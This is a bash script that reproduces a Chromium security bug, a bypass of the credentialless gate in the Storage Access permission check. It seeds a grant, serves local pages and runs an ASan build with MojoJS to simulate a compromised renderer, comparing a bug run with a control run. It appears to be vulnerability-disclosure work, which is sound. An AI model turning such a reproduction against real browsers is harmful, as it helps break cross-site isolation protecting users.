#!/bin/bash
# Reproduces the StorageAccessGrantPermissionContext credentialless-gate bypass.
#
# Usage:
#   ./run.sh bug       # with pre-existing STORAGE_ACCESS grant -> gate bypassed
#   ./run.sh control   # no grant -> DecidePermission gate fires, renderer killed
#
set -euo pipefail
cd "$(dirname "$0")"

CHROME=/chromium/chromium/src/out/asan/chrome
MODE=${1:-bug}
PROFILE=/tmp/chrome-poc-profile-$MODE
LOG=chrome-$MODE.log

rm -rf "$PROFILE"
mkdir -p "$PROFILE/Default"

if [[ "$MODE" == "bug" ]]; then
  # Pre-seed a STORAGE_ACCESS(https://b.test, https://a.test)=ALLOW content
  # setting. This is what a user accepting an rSA prompt in a *normal* b.test
  # iframe under a.test would have persisted. CONTENT_SETTING_ALLOW == 1.
  # Pattern shape matches FromURLToSchemefulSitePattern() for hosts with no
  # registrable domain (no [*.] wildcard, port wildcard).
  cat > "$PROFILE/Default/Preferences" <<'EOF'
{
  "profile": {
    "content_settings": {
      "exceptions": {
        "storage_access": {
          "https://b.test,https://a.test": { "setting": 1 }
        }
      }
    }
  }
}
EOF
  echo ">>> seeded STORAGE_ACCESS(https://b.test, https://a.test)=ALLOW"
else
  echo ">>> CONTROL: no pre-existing STORAGE_ACCESS grant"
fi

# Start the HTTPS server (background).
pkill -f "python3 server.py" 2>/dev/null || true
python3 server.py > server.log 2>&1 &
SRV=$!
trap 'kill $SRV 2>/dev/null || true' EXIT
sleep 2

echo ">>> launching Chrome ($MODE), output -> $LOG"

# Headless run; MojoJS enabled to simulate a compromised renderer talking Mojo
# directly. Host-resolver maps a.test/b.test to the local HTTPS server.
"$CHROME" \
  --no-sandbox \
  --disable-gpu \
  --headless=new \
  --no-first-run --no-default-browser-check \
  --enable-blink-features=MojoJS,MojoJSTest \
  --enable-logging=stderr --v=0 \
  --ignore-certificate-errors \
  --user-data-dir="$PROFILE" \
  --host-resolver-rules='MAP a.test 127.0.0.1:8443, MAP b.test 127.0.0.1:8443' \
  'https://a.test:8443/top.html' \
  > "$LOG" 2>&1 &
CHROME_PID=$!

sleep 15
kill $CHROME_PID 2>/dev/null || true
wait $CHROME_PID 2>/dev/null || true

echo
echo "=== relevant output ($MODE) ==="
grep -E '\[POC|SetStorageAccessApiStatus|DecidePermission|requestStorageAccess|bad_message|bad Mojo|Terminating render' "$LOG" || true
echo "=== full log: $LOG ==="
